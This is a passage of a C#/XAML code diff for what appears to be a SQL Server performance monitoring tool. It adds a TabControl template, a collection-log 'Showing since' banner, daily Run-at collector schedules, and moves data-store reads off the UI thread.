+    /// The next round's candidate limit, or null when the page is done: it holds <paramref name="top"/> rows, the
+    /// last round did not fill its candidate limit (the candidates ran out), the round bound is reached, or the
+    /// limit cannot grow any further.
+    /// </summary>
+    public static int? NextCandidates(int top, int round, int candidates, int returned, int candidateCount)
+    {
+        if (returned >= top || round >= MaxRounds || candidateCount < candidates)
+        {
+            return null;
+        }
+
+        var cap = Clamp((long)top + MaxExtraCandidates);
+        var next = Math.Min(cap, Clamp((long)candidates * Growth));
+        return next > candidates ? next : null;
+    }
+
+    /// <summary>Runs <paramref name="round"/> with each candidate limit in turn and returns the last round's rows.</summary>
+    public static async Task<List<T>> RunAsync<T>(int top, Func<int, Task<(List<T> Rows, int CandidateCount)>> round)
+    {
+        ArgumentNullException.ThrowIfNull(round);
+        var candidates = FirstCandidates(top);
+        for (var n = 1; ; n++)
+        {
+            var (rows, candidateCount) = await round(candidates).ConfigureAwait(false);
+            var next = NextCandidates(top, n, candidates, rows.Count, candidateCount);
+            if (next is null)
+            {
+                return rows;
+            }
+
+            candidates = next.Value;
+        }
+    }
+
+    private static int Clamp(long value) => (int)Math.Min(value, int.MaxValue);
+}
diff --git a/Lite/Themes/CoolBreezeTheme.xaml b/Lite/Themes/CoolBreezeTheme.xaml
index 7d0ee8358b..58121373d6 100644
--- a/Lite/Themes/CoolBreezeTheme.xaml
+++ b/Lite/Themes/CoolBreezeTheme.xaml
@@ -250,7 +250,7 @@
 
     <!-- No Data Message Style (for empty DataGrids) -->
     <Style x:Key="NoDataMessage" TargetType="TextBlock">
-        <Setter Property="Text" Value="No data for selected time range"/>
+        <Setter Property="Text" Value="No data for the selected time range."/>
         <Setter Property="Foreground" Value="{StaticResource ForegroundMutedBrush}"/>
         <Setter Property="FontSize" Value="14"/>
         <Setter Property="HorizontalAlignment" Value="Center"/>
@@ -638,6 +638,37 @@
         <Setter Property="BorderBrush" Value="{StaticResource BorderBrush}"/>
         <Setter Property="BorderThickness" Value="0"/>
         <Setter Property="Padding" Value="0"/>
+        <!-- F18 (Lite click-through): the stock template lays the tabs out in a TabPanel, which moves the row holding the
+             selected tab to the bottom, so clicking a tab in an upper row swaps the rows and every tab under the cursor changes.
+             A WrapPanel wraps the same way and never reorders its rows. Same parts as the stock template (the tab strip
+             on top, the selected content below). -->
+        <Setter Property="Template">
+            <Setter.Value>
+                <ControlTemplate TargetType="TabControl">
+                    <Grid KeyboardNavigation.TabNavigation="Local" SnapsToDevicePixels="True" ClipToBounds="True">
+                        <Grid.RowDefinitions>
+                            <RowDefinition Height="Auto"/>
+                            <RowDefinition Height="*"/>
+                        </Grid.RowDefinitions>
+                        <WrapPanel x:Name="HeaderPanel" Grid.Row="0" IsItemsHost="True" Panel.ZIndex="1"
+                                   KeyboardNavigation.TabIndex="1"
+                                   KeyboardNavigation.TabNavigation="Once"
+                                   KeyboardNavigation.DirectionalNavigation="Cycle"/>
+                        <Border x:Name="ContentPanel" Grid.Row="1"
+                                Background="{TemplateBinding Background}"
+                                BorderBrush="{TemplateBinding BorderBrush}"
+                                BorderThickness="{TemplateBinding BorderThickness}"
+                                KeyboardNavigation.DirectionalNavigation="Contained"
+                                KeyboardNavigation.TabIndex="2"
+                                KeyboardNavigation.TabNavigation="Local">
+                            <ContentPresenter x:Name="PART_SelectedContentHost" ContentSource="SelectedContent"
+                                              Margin="{TemplateBinding Padding}"
+                                              SnapsToDevicePixels="{TemplateBinding SnapsToDevicePixels}"/>
+                        </Border>
+                    </Grid>
+                </ControlTemplate>
+            </Setter.Value>
+        </Setter>
     </Style>
 
     <Style TargetType="TabItem">
diff --git a/Lite/Themes/DarkTheme.xaml b/Lite/Themes/DarkTheme.xaml
index 91dcf50493..80cde4307f 100644
--- a/Lite/Themes/DarkTheme.xaml
+++ b/Lite/Themes/DarkTheme.xaml
@@ -236,7 +236,7 @@
 
     <!-- No Data Message Style (for empty DataGrids) -->
     <Style x:Key="NoDataMessage" TargetType="TextBlock">
-        <Setter Property="Text" Value="No data for selected time range"/>
+        <Setter Property="Text" Value="No data for the selected time range."/>
         <Setter Property="Foreground" Value="{StaticResource ForegroundMutedBrush}"/>
         <Setter Property="FontSize" Value="14"/>
         <Setter Property="HorizontalAlignment" Value="Center"/>
@@ -624,6 +624,37 @@
         <Setter Property="BorderBrush" Value="{StaticResource BorderBrush}"/>
         <Setter Property="BorderThickness" Value="0"/>
         <Setter Property="Padding" Value="0"/>
+        <!-- F18 (Lite click-through): the stock template lays the tabs out in a TabPanel, which moves the row holding the
+             selected tab to the bottom, so clicking a tab in an upper row swaps the rows and every tab under the cursor changes.
+             A WrapPanel wraps the same way and never reorders its rows. Same parts as the stock template (the tab strip
+             on top, the selected content below). -->
+        <Setter Property="Template">
+            <Setter.Value>
+                <ControlTemplate TargetType="TabControl">
+                    <Grid KeyboardNavigation.TabNavigation="Local" SnapsToDevicePixels="True" ClipToBounds="True">
+                        <Grid.RowDefinitions>
+                            <RowDefinition Height="Auto"/>
+                            <RowDefinition Height="*"/>
+                        </Grid.RowDefinitions>
+                        <WrapPanel x:Name="HeaderPanel" Grid.Row="0" IsItemsHost="True" Panel.ZIndex="1"
+                                   KeyboardNavigation.TabIndex="1"
+                                   KeyboardNavigation.TabNavigation="Once"
+                                   KeyboardNavigation.DirectionalNavigation="Cycle"/>
+                        <Border x:Name="ContentPanel" Grid.Row="1"
+                                Background="{TemplateBinding Background}"
+                                BorderBrush="{TemplateBinding BorderBrush}"
+                                BorderThickness="{TemplateBinding BorderThickness}"
+                                KeyboardNavigation.DirectionalNavigation="Contained"
+                                KeyboardNavigation.TabIndex="2"
+                                KeyboardNavigation.TabNavigation="Local">
+                            <ContentPresenter x:Name="PART_SelectedContentHost" ContentSource="SelectedContent"
+                                              Margin="{TemplateBinding Padding}"
+                                              SnapsToDevicePixels="{TemplateBinding SnapsToDevicePixels}"/>
+                        </Border>
+                    </Grid>
+                </ControlTemplate>
+            </Setter.Value>
+        </Setter>
     </Style>
 
     <Style TargetType="TabItem">
diff --git a/Lite/Themes/LightTheme.xaml b/Lite/Themes/LightTheme.xaml
index 39670dd147..cfb90babdc 100644
--- a/Lite/Themes/LightTheme.xaml
+++ b/Lite/Themes/LightTheme.xaml
@@ -244,7 +244,7 @@
 
     <!-- No Data Message Style (for empty DataGrids) -->
     <Style x:Key="NoDataMessage" TargetType="TextBlock">
-        <Setter Property="Text" Value="No data for selected time range"/>
+        <Setter Property="Text" Value="No data for the selected time range."/>
         <Setter Property="Foreground" Value="{StaticResource ForegroundMutedBrush}"/>
         <Setter Property="FontSize" Value="14"/>
         <Setter Property="HorizontalAlignment" Value="Center"/>
@@ -632,6 +632,37 @@
         <Setter Property="BorderBrush" Value="{StaticResource BorderBrush}"/>
         <Setter Property="BorderThickness" Value="0"/>
         <Setter Property="Padding" Value="0"/>
+        <!-- F18 (Lite click-through): the stock template lays the tabs out in a TabPanel, which moves the row holding the
+             selected tab to the bottom, so clicking a tab in an upper row swaps the rows and every tab under the cursor changes.
+             A WrapPanel wraps the same way and never reorders its rows. Same parts as the stock template (the tab strip
+             on top, the selected content below). -->
+        <Setter Property="Template">
+            <Setter.Value>
+                <ControlTemplate TargetType="TabControl">
+                    <Grid KeyboardNavigation.TabNavigation="Local" SnapsToDevicePixels="True" ClipToBounds="True">
+                        <Grid.RowDefinitions>
+                            <RowDefinition Height="Auto"/>
+                            <RowDefinition Height="*"/>
+                        </Grid.RowDefinitions>
+                        <WrapPanel x:Name="HeaderPanel" Grid.Row="0" IsItemsHost="True" Panel.ZIndex="1"
+                                   KeyboardNavigation.TabIndex="1"
+                                   KeyboardNavigation.TabNavigation="Once"
+                                   KeyboardNavigation.DirectionalNavigation="Cycle"/>
+                        <Border x:Name="ContentPanel" Grid.Row="1"
+                                Background="{TemplateBinding Background}"
+                                BorderBrush="{TemplateBinding BorderBrush}"
+                                BorderThickness="{TemplateBinding BorderThickness}"
+                                KeyboardNavigation.DirectionalNavigation="Contained"
+                                KeyboardNavigation.TabIndex="2"
+                                KeyboardNavigation.TabNavigation="Local">
+                            <ContentPresenter x:Name="PART_SelectedContentHost" ContentSource="SelectedContent"
+                                              Margin="{TemplateBinding Padding}"
+                                              SnapsToDevicePixels="{TemplateBinding SnapsToDevicePixels}"/>
+                        </Border>
+                    </Grid>
+                </ControlTemplate>
+            </Setter.Value>
+        </Setter>
     </Style>
 
     <Style TargetType="TabItem">
diff --git a/Lite/Windows/CollectionLogWindow.xaml b/Lite/Windows/CollectionLogWindow.xaml
index db8d905569..c61f29c644 100644
--- a/Lite/Windows/CollectionLogWindow.xaml
+++ b/Lite/Windows/CollectionLogWindow.xaml
@@ -37,6 +37,11 @@
             <StackPanel>
                 <TextBlock x:Name="CollectorNameText" FontSize="16" FontWeight="Bold"/>
                 <TextBlock x:Name="SummaryText" Margin="0,5,0,0"/>
+                <!-- "Showing since <start>" when this server's collection log starts after the 7 days this window reads (#4966). -->
+                <TextBlock x:Name="CollectionLogDrillTruncatedBanner" Visibility="Collapsed" Margin="0,5,0,0"
+                           Padding="8,4" FontWeight="Bold"
+                           Foreground="{DynamicResource ForegroundBrush}"
+                           Background="#22FFAA00"/>
             </StackPanel>
         </Border>
 
diff --git a/Lite/Windows/CollectionLogWindow.xaml.cs b/Lite/Windows/CollectionLogWindow.xaml.cs
index c13a182897..dda70136a2 100644
--- a/Lite/Windows/CollectionLogWindow.xaml.cs
+++ b/Lite/Windows/CollectionLogWindow.xaml.cs
@@ -7,10 +7,13 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.Linq;
 using System.Threading.Tasks;
 using System.Windows;
+using System.Windows.Controls;
 using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitorLite.Controls;
 using PerformanceMonitorLite.Services;
 using PerformanceMonitor.Ui;
 
@@ -44,13 +47,68 @@ private async void CollectionLogWindow_Loaded(object sender, RoutedEventArgs e)
             await LoadCollectionLogAsync();
         }
 
+        /// <summary>The span the drill reads: the trailing week, in hours.</summary>
+        internal const int DrillHours = 168;
+
+        /// <summary>
+        /// One load of the drill (#4966): the collector's runs, the start of the window they were read over, and the answer of
+        /// the window-floor probe over that same window (null when the server's log has nothing to report on, or when the
+        /// probe failed). Kept apart from the banner so the load runs off the UI thread and the note is applied on it.
+        /// </summary>
+        internal sealed record DrillRead(List<CollectionLogRow> Rows, DateTime StartUtc, DateTime? Floor);
+
+        /// <summary>
+        /// The drill's read and the probe behind its "Showing since" note, over the trailing week (#4966): one collector's runs
+        /// (<see cref="LocalDataService.GetCollectionLogByCollectorAsync"/>), and the probe the Collection Log grid on the server
+        /// tab asks (<c>QueryWindowRelation.CollectionLog</c>, <see cref="LocalDataService.GetQueryWindowFloorAsync"/>). The probe
+        /// reads the SERVER's log, never the collector's own first run, so a collector that started late in a week the server's
+        /// log covers says nothing. The read has no row cap, so only that coverage rule applies, not the capped grids' oldest-row
+        /// rule. Passed <paramref name="asOfUtc"/> as the window's end for a test to pin; null is now.
+        /// </summary>
+        internal static Task<DrillRead> ReadDrillAsync(LocalDataService dataService, int serverId, string collectorName, DateTime? asOfUtc = null) =>
+            ReadDrillAsync(
+                (startUtc, endUtc) => Task.Run(() => dataService.GetCollectionLogByCollectorAsync(serverId, collectorName, startUtc, endUtc)),
+                (startUtc, endUtc) => Task.Run(() => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.CollectionLog, serverId, startUtc, endUtc)),
+                $"[server {serverId}] Collection Log drill",
+                asOfUtc);
+
+        /// <summary>
+        /// The drill's load over passed-in steps, so a test drives a probe that throws and records the window each step is given.
+        /// The window is worked out HERE, once: the end from <paramref name="asOfUtc"/> or one reading of the clock, the start a
+        /// week before it, and that pair goes to both steps, so the rows and the note cannot disagree about it. The probe goes
+        /// through the guard the server tab's banners use (<see cref="ServerTab.ProbeWindowFloorOrNullAsync"/>): a probe that
+        /// throws is logged and answers null, which shows no note and costs the grid none of its rows.
+        /// </summary>
+        internal static async Task<DrillRead> ReadDrillAsync(
+            Func<DateTime, DateTime, Task<List<CollectionLogRow>>> readRuns,
+            Func<DateTime, DateTime, Task<DateTime?>> probeFloor, string what, DateTime? asOfUtc = null)
+        {
+            var endUtc = asOfUtc ?? DateTime.UtcNow;
+            var startUtc = endUtc.AddHours(-DrillHours);
+            var rows = await readRuns(startUtc, endUtc);
+            var floor = await ServerTab.ProbeWindowFloorOrNullAsync(() => probeFloor(startUtc, endUtc), what, startUtc, endUtc);
+            return new DrillRead(rows, startUtc, floor);
+        }
+
+        /// <summary>
+        /// Words the note on <paramref name="banner"/> from a load: the tab's banner rule
+        /// (<see cref="ServerTab.ApplyWindowFloorToBanner"/>, with its 90-minute slack for a first collection that lands just
+        /// after the window starts), in the zone this window's grid prints its times in (<c>CollectionHealthTime.Zone</c>, the
+        /// window's server clock, else the active tab's). A floor at or before the start, a quiet start, a probe that failed and a
+        /// week with no run all hide it. Runs on the UI thread, after the rows are bound.
+        /// </summary>
+        internal static void ShowDrillDataStart(TextBlock banner, DrillRead read, ServerClock? clock) =>
+            ServerTab.ApplyWindowFloorToBanner(banner, read.Floor, read.StartUtc, CollectionHealthTime.Zone(clock));
+
         private async Task LoadCollectionLogAsync()
         {
             try
             {
-                var logs = await _dataService.GetCollectionLogByCollectorAsync(_serverId, _collectorName);
+                var load = await ReadDrillAsync(_dataService, _serverId, _collectorName);
+                var logs = load.Rows;
                 foreach (var log in logs) log.Clock = _serverClock;
                 LogDataGrid.ItemsSource = logs;
+                ShowDrillDataStart(CollectionLogDrillTruncatedBanner, load, _serverClock);
 
                 if (logs.Count > 0)
                 {
@@ -71,7 +129,7 @@ private async Task LoadCollectionLogAsync()
             catch (Exception ex)
             {
                 MessageBox.Show(
-                    $"Failed to load collection history:\n\n{ex.Message}",
+                    $"Failed to load collection history:\n\n{DuckDbMemoryLimitSetting.Describe(ex)}",
                     "Error",
                     MessageBoxButton.OK,
                     MessageBoxImage.Error
diff --git a/Lite/Windows/CollectorScheduleEditorWindow.xaml b/Lite/Windows/CollectorScheduleEditorWindow.xaml
index ff9bbb84ac..b9df373b6b 100644
--- a/Lite/Windows/CollectorScheduleEditorWindow.xaml
+++ b/Lite/Windows/CollectorScheduleEditorWindow.xaml
@@ -63,12 +63,14 @@
                   CanUserAddRows="False" CanUserDeleteRows="False"
                   SelectionMode="Single"
                   Background="Transparent" BorderThickness="0"
-                  HeadersVisibility="Column" GridLinesVisibility="Horizontal">
+                  HeadersVisibility="Column" GridLinesVisibility="Horizontal"
+                  RowEditEnding="ScheduleGrid_RowEditEnding">
             <DataGrid.Columns>
                 <DataGridCheckBoxColumn Header="Enabled" Binding="{Binding Enabled, UpdateSourceTrigger=PropertyChanged}" Width="65"/>
                 <DataGridTextColumn Header="Collector" Binding="{Binding Name}" Width="160" IsReadOnly="True"/>
                 <DataGridTextColumn Header="Frequency (min)" Binding="{Binding FrequencyMinutes, UpdateSourceTrigger=LostFocus}" Width="110"/>
                 <DataGridTextColumn Header="Retention (days)" Binding="{Binding RetentionDays, UpdateSourceTrigger=LostFocus}" Width="110"/>
+                <DataGridTextColumn Header="Run at (HH:MM)" Binding="{Binding RunAt, UpdateSourceTrigger=LostFocus}" Width="110"/>
                 <DataGridTextColumn Header="Schedule" Binding="{Binding FrequencyDisplay}" Width="140" IsReadOnly="True"/>
                 <DataGridTextColumn Header="Description" Binding="{Binding Description}" Width="*" IsReadOnly="True"/>
             </DataGrid.Columns>
@@ -80,6 +82,11 @@
                        Foreground="{DynamicResource ForegroundMutedBrush}"/>
             <TextBlock x:Name="DeltaBoundText" FontSize="11" TextWrapping="Wrap" Margin="0,4,0,0"
                        Foreground="{DynamicResource ForegroundMutedBrush}"/>
+            <!-- #4938: what the Run at column means, and when each collector that has a run time runs next (text set in code) -->
+            <TextBlock x:Name="RunAtHintText" FontSize="11" TextWrapping="Wrap" Margin="0,4,0,0"
+                       Foreground="{DynamicResource ForegroundMutedBrush}"/>
+            <TextBlock x:Name="NextRunText" FontSize="11" TextWrapping="Wrap" Margin="0,4,0,0"
+                       Foreground="{DynamicResource ForegroundMutedBrush}"/>
         </StackPanel>
 
         <!-- Buttons -->
diff --git a/Lite/Windows/CollectorScheduleEditorWindow.xaml.cs b/Lite/Windows/CollectorScheduleEditorWindow.xaml.cs
index c360a8db2e..55958f6d94 100644
--- a/Lite/Windows/CollectorScheduleEditorWindow.xaml.cs
+++ b/Lite/Windows/CollectorScheduleEditorWindow.xaml.cs
@@ -81,6 +81,8 @@ public CollectorScheduleEditorWindow(
         ScheduleGrid.ItemsSource = _editingSchedules;
         DetectActivePreset();
         SetDeltaBoundHint();
+        SetRunAtHint();
+        RefreshNextRunText();
     }
 
     private void SetupCopyFromServerCombo()
@@ -109,6 +111,8 @@ private void LoadServerSchedule()
         ScheduleGrid.ItemsSource = _editingSchedules;
         UpdateEditableState(usesDefault);
         DetectActivePreset();
+        SetRunAtHint();
+        RefreshNextRunText();
     }
 
     private void UpdateEditableState(bool usesDefault)
@@ -138,6 +142,7 @@ private void UseDefaultCheckBox_Changed(object sender, RoutedEventArgs e)
 
         UpdateEditableState(usesDefault);
         DetectActivePreset();
+        RefreshNextRunText();
     }
 
     private void DetectActivePreset()
@@ -187,6 +192,7 @@ private void PresetComboBox_SelectionChanged(object sender, SelectionChangedEven
         ScheduleGrid.ItemsSource = null;
         ScheduleGrid.ItemsSource = _editingSchedules;
         DetectActivePreset();
+        RefreshNextRunText();
     }
 
     private void CopyFromDefault_Click(object sender, RoutedEventArgs e)
@@ -202,6 +208,7 @@ private void CopyFromDefault_Click(object sender, RoutedEventArgs e)
         _editingSchedules = CloneScheduleList(_scheduleManager.GetDefaultSchedule());
         ScheduleGrid.ItemsSource = _editingSchedules;
         DetectActivePreset();
+        RefreshNextRunText();
     }
 
     private void CopyFromServer_Click(object sender, RoutedEventArgs e)
@@ -220,6 +227,7 @@ private void CopyFromServer_Click(object sender, RoutedEventArgs e)
         _editingSchedules = CloneScheduleList(_scheduleManager.GetSchedulesForServer(sourceServerId));
         ScheduleGrid.ItemsSource = _editingSchedules;
         DetectActivePreset();
+        RefreshNextRunText();
     }
 
     private void SaveButton_Click(object sender, RoutedEventArgs e)
@@ -227,6 +235,12 @@ private void SaveButton_Click(object sender, RoutedEventArgs e)
         /* Flush any in-progress cell edit into the bound items before we read them. */
         ScheduleGrid.CommitEdit(DataGridEditingUnit.Row, true);
 
+        /* #4938: a blank Run at cell is no run time, and the file carries run_at only where one is set. */
+        foreach (var row in _editingSchedules)
+        {
+            row.RunAt = ScheduleManager.NormalizeRunAt(row.RunAt);
+        }
+
         bool revertingToDefault = !_isEditingDefault && UseDefaultCheckBox.IsChecked == true;
         if (!revertingToDefault && !ValidateSchedule(out var error))
         {
@@ -242,7 +256,9 @@ private void SaveButton_Click(object sender, RoutedEventArgs e)
                 _scheduleManager.UpdateSchedule(edited.Name,
                     enabled: edited.Enabled,
                     frequencyMinutes: edited.FrequencyMinutes,
-                    retentionDays: edited.RetentionDays);
+                    retentionDays: edited.RetentionDays,
+                    runAt: edited.RunAt,
+                    changeRunAt: true);
             }
         }
         else if (UseDefaultCheckBox.IsChecked == true)
@@ -287,12 +303,45 @@ private bool ValidateSchedule(out string error)
                 error = $"'{item.Name}': retention (days) must be at least 1.";
                 return false;
             }
+
+            /* #4938: the run time's own texts (a bad time, or a collector that runs more often than once a day). They
+               do not name the row, so the row is selected. */
+            if (ScheduleManager.RunAtError(item.Name, item.FrequencyMinutes, item.RunAt) is string runAtError)
+            {
+                ScheduleGrid.SelectedItem = item;
+                error = runAtError;
+                return false;
+            }
         }
 
         error = "";
         return true;
     }
 
+    /// <summary>#4938: what the Run at column means, and the sentence that says Lite runs a collector only while it is open.</summary>
+    private void SetRunAtHint()
+    {
+        RunAtHintText.Text =
+            "Run at is an optional 24-hour time (HH:MM) on the monitored server's clock, for a collector that runs once a day " +
+            "or less often (a frequency of 1440 minutes or a multiple of it, or an on-load collector). Each server runs within " +
+            $"the hour after that time, at its own minute. {ScheduleManager.RunAtLiteClosedNote}";
+    }
+
+    /// <summary>#4938: lists when each collector that has a run time runs next, so a collector that waits for its time shows when.
+    /// Text only: it never touches the grid, so it is safe while a row is being edited.</summary>
+    private void RefreshNextRunText()
+    {
+        var lines = _scheduleManager.DescribeRunTimes(_isEditingDefault ? null : _serverId, _editingSchedules, DateTime.UtcNow);
+        NextRunText.Text = string.Join(Environment.NewLine, lines);
+        NextRunText.Visibility = lines.Count == 0 ? Visibility.Collapsed : Visibility.Visible;
+    }
+
+    /* The row commits after this event, so the list is read once it has: a change to a run time or a frequency shows its next run. */
+    private void ScheduleGrid_RowEditEnding(object? sender, DataGridRowEditEndingEventArgs e)
+    {
+        Dispatcher.BeginInvoke(System.Windows.Threading.DispatcherPriority.Background, new Action(RefreshNextRunText));
+    }
+
     /// <summary>The always-visible cadence-cap note under the grid, built from the shared constants so
     /// the shown numbers and collector list can never drift from what the validation enforces.</summary>
     private void SetDeltaBoundHint()
@@ -315,7 +364,9 @@ private static List<CollectorSchedule> CloneScheduleList(IReadOnlyList<Collector
             Enabled = s.Enabled,
             FrequencyMinutes = s.FrequencyMinutes,
             RetentionDays = s.RetentionDays,
-            Description = s.Description
+            Description = s.Description,
+            /* #4938: keep a hand-set run time, so saving a server's override does not erase it. */
+            RunAt = s.RunAt
         }).ToList();
     }
 }
diff --git a/Lite/Windows/DatabaseStateOverridesWindow.xaml.cs b/Lite/Windows/DatabaseStateOverridesWindow.xaml.cs
index faceb60cd4..2d14bfe240 100644
--- a/Lite/Windows/DatabaseStateOverridesWindow.xaml.cs
+++ b/Lite/Windows/DatabaseStateOverridesWindow.xaml.cs
@@ -94,7 +94,8 @@ private async System.Threading.Tasks.Task<CollectorRunHistory> ReadCollectorRuns
     {
         try
         {
-            return await _dataService.GetCollectorRunHistoryAsync(serverId);
+            /* #5457: off the UI thread, where the read waits on the store lock. */
+            return await System.Threading.Tasks.Task.Run(() => _dataService.GetCollectorRunHistoryAsync(serverId));
         }
         catch (Exception)
         {
@@ -139,11 +140,13 @@ private async System.Threading.Tasks.Task LoadAsync()
 
         try
         {
-            var rows = await _dataService.GetDatabaseStateExpectationsAsync(serverId);
+            /* #5457: the reads run on the pool, not the dispatcher: each takes the store read lock, which an archive or compaction
+               pass can hold. The same lock-and-query-on-one-thread rule as Lite/Controls (TabLoadsOffUiThreadTests). */
+            var rows = await System.Threading.Tasks.Task.Run(() => _dataService.GetDatabaseStateExpectationsAsync(serverId));
 
             /* Read with the rows, ahead of the two checks below, so those checks still guard every paint. An unknown
                edition (no stored row, or a failed read) makes no claim. */
-            var engineEdition = await McpEngineCapability.EngineEditionAsync(_dataService, serverId);
+            var engineEdition = await System.Threading.Tasks.Task.Run(() => McpEngineCapability.EngineEditionAsync(_dataService, serverId));
             var runs = await ReadCollectorRunsAsync(serverId);
 
             /* A newer load for this grid has started, so this answer is not the one the operator is
@@ -225,7 +228,8 @@ private async void ResetSelected_Click(object sender, RoutedEventArgs e)
 
         try
         {
-            await _dataService.ResetDatabaseStateExpectedToCurrentAsync(serverId, row.DatabaseName);
+            var databaseName = row.DatabaseName;
+            await System.Threading.Tasks.Task.Run(() => _dataService.ResetDatabaseStateExpectedToCurrentAsync(serverId, databaseName));
             await LoadAsync();
         }
         catch (Exception ex)
@@ -250,7 +254,9 @@ private async void Save_Click(object sender, RoutedEventArgs e)
             var changed = _rows.Where(r => !string.Equals(r.ExpectedState, r.OriginalExpected, StringComparison.Ordinal)).ToList();
             foreach (var row in changed)
             {
-                await _dataService.SetDatabaseStateExpectedAsync(serverId, row.DatabaseName, row.ExpectedState);
+                var databaseName = row.DatabaseName;
+                var expectedState = row.ExpectedState;
+                await System.Threading.Tasks.Task.Run(() => _dataService.SetDatabaseStateExpectedAsync(serverId, databaseName, expectedState));
             }
 
             DialogResult = true;
diff --git a/Lite/Windows/ManageTagsWindow.xaml.cs b/Lite/Windows/ManageTagsWindow.xaml.cs
index e2f31298c1..042f7f918c 100644
--- a/Lite/Windows/ManageTagsWindow.xaml.cs
+++ b/Lite/Windows/ManageTagsWindow.xaml.cs
@@ -117,8 +117,10 @@ private async Task ReloadTagsAsync()
     {
         try
         {
-            _tags = await _dataService.GetServerTagsAsync();
-            var assignments = await _dataService.GetServerTagAssignmentsAsync();
+            /* #5457: both reads run on the pool, not the dispatcher: each takes the store read lock, which an archive or
+               compaction pass can hold, and the window would stop pumping input for as long. */
+            _tags = await Task.Run(() => _dataService.GetServerTagsAsync());
+            var assignments = await Task.Run(() => _dataService.GetServerTagAssignmentsAsync());
 
             _assignedServersByTag = new Dictionary<int, HashSet<int>>();
             foreach (var a in assignments)
@@ -291,11 +293,11 @@ private async Task ApplyAssignmentAsync(int serverId, bool assign)
         {
             if (assign)
             {
-                await _dataService.AssignServerTagAsync(new[] { serverId }, tagId);
+                await Task.Run(() => _dataService.AssignServerTagAsync(new[] { serverId }, tagId));
             }
             else
             {
-                await _dataService.UnassignServerTagAsync(new[] { serverId }, tagId);
+                await Task.Run(() => _dataService.UnassignServerTagAsync(new[] { serverId }, tagId));
             }
 
             if (!_assignedServersByTag.TryGetValue(tagId, out var set))
@@ -346,11 +348,11 @@ private async Task BulkSetAsync(bool assign)
         {
             if (assign)
             {
-                await _dataService.AssignServerTagAsync(ids, tagId);
+                await Task.Run(() => _dataService.AssignServerTagAsync(ids, tagId));
             }
             else
             {
-                await _dataService.UnassignServerTagAsync(ids, tagId);
+                await Task.Run(() => _dataService.UnassignServerTagAsync(ids, tagId));
             }
 
             if (!_assignedServersByTag.TryGetValue(tagId, out var set))
@@ -423,7 +425,7 @@ private async Task CreateTagAsync(string name, int? parentId)
     {
         try
         {
-            await _dataService.CreateServerTagAsync(name, parentId);
+            await Task.Run(() => _dataService.CreateServerTagAsync(name, parentId));
             ChangedAny = true;
             await ReloadTagsAsync();
         }
@@ -450,7 +452,8 @@ private async void Rename_Click(object sender, RoutedEventArgs e)
 
         try
         {
-            await _dataService.RenameServerTagAsync(_selectedNode.Tag.Id, name);
+            var renamedId = _selectedNode.Tag.Id;
+            await Task.Run(() => _dataService.RenameServerTagAsync(renamedId, name));
             ChangedAny = true;
             await ReloadTagsAsync();
         }
@@ -477,7 +480,9 @@ private async void Colour_Click(object sender, RoutedEventArgs e)
 
         try
         {
-            await _dataService.SetServerTagColorAsync(_selectedNode.Tag.Id, dialog.SelectedColour);
+            var recolouredId = _selectedNode.Tag.Id;
+            var colour = dialog.SelectedColour;
+            await Task.Run(() => _dataService.SetServerTagColorAsync(recolouredId, colour));
             ChangedAny = true;
             await ReloadTagsAsync();
         }
@@ -511,7 +516,8 @@ private async void Delete_Click(object sender, RoutedEventArgs e)
 
         try
         {
-            await _dataService.DeleteServerTagAsync(_selectedNode.Tag.Id);
+            var deletedId = _selectedNode.Tag.Id;
+            await Task.Run(() => _dataService.DeleteServerTagAsync(deletedId));
             _selectedNode = null;
             ChangedAny = true;
             await ReloadTagsAsync();
diff --git a/Lite/Windows/MuteRuleDialog.xaml.cs b/Lite/Windows/MuteRuleDialog.xaml.cs
index d05b16bf29..c92076b8f3 100644
--- a/Lite/Windows/MuteRuleDialog.xaml.cs
+++ b/Lite/Windows/MuteRuleDialog.xaml.cs
@@ -47,10 +47,8 @@ public MuteRuleDialog(AlertMuteContext context) : this()
             SelectMetric(context.MetricName);
         if (!string.IsNullOrEmpty(context.DatabaseName))
             DatabasePatternBox.Text = context.DatabaseName;
-        if (!string.IsNullOrEmpty(context.QueryText))
-            QueryTextPatternBox.Text = context.QueryText.Length > 200
-                ? context.QueryText.Substring(0, 200)
-                : context.QueryText;
+        if (context.SeedQueryTextPattern(PerformanceMonitor.Common.SensitiveStatements.Text) is { } seededQueryText)
+            QueryTextPatternBox.Text = seededQueryText;
         if (!string.IsNullOrEmpty(context.WaitType))
             WaitTypePatternBox.Text = context.WaitType;
         if (!string.IsNullOrEmpty(context.JobName))
diff --git a/Lite/Windows/ProcedureHistoryWindow.xaml.cs b/Lite/Windows/ProcedureHistoryWindow.xaml.cs
index 42d0dbaff1..18b68556fe 100644
--- a/Lite/Windows/ProcedureHistoryWindow.xaml.cs
+++ b/Lite/Windows/ProcedureHistoryWindow.xaml.cs
@@ -40,6 +40,8 @@ public partial class ProcedureHistoryWindow : Window
     private readonly Func<ServerClock> _serverClock;
     private readonly PlanNavigationController _planActions;
     private List<ProcedureStatsHistoryRow> _historyData = new();
+    /* #5449: the rows the chart plots: _historyData plus a zero row at each collector run that stored nothing for this procedure. */
+    private List<ProcedureStatsHistoryRow> _chartData = new();
     private ChartHoverHelper? _chartHover;
     private DataGridFilterManager<ProcedureStatsHistoryRow>? _filterManager;
     private Popup? _filterPopup;
@@ -61,10 +63,11 @@ public ProcedureHistoryWindow(LocalDataService dataService, int serverId, string
         _planActions = new PlanNavigationController(
             this,
             async (xml, label, qt) => await PlanViewerWindow.ShowPlanAsync(
-                this, xml, label, qt, await _dataService.GetServerMetadataForPlanAnalysisAsync(_serverId)),
-            (db, qt, est, iso, ct) => ActualPlanExecutor.ExecuteForActualPlanAsync(
+                this, xml, label, qt, await System.Threading.Tasks.Task.Run(() => _dataService.GetServerMetadataForPlanAnalysisAsync(_serverId))),
+            /* #4348: the re-run's plan comes from the monitored server, not the collected rows, so it is judged here. */
+            async (db, qt, est, iso, ct) => await LivePlanDisplay.FilterAsync(await ActualPlanExecutor.ExecuteForActualPlanAsync(
                 _connectionString ?? "", db, qt, est, iso, isAzureSqlDb: false, timeoutSeconds: 0, ct,
-                productName: "SQL Server Performance Monitor Lite"),
+                productName: "SQL Server Performance Monitor Lite")),
             "the monitored server");
 
         _filterManager = new DataGridFilterManager<ProcedureStatsHistoryRow>(HistoryDataGrid);
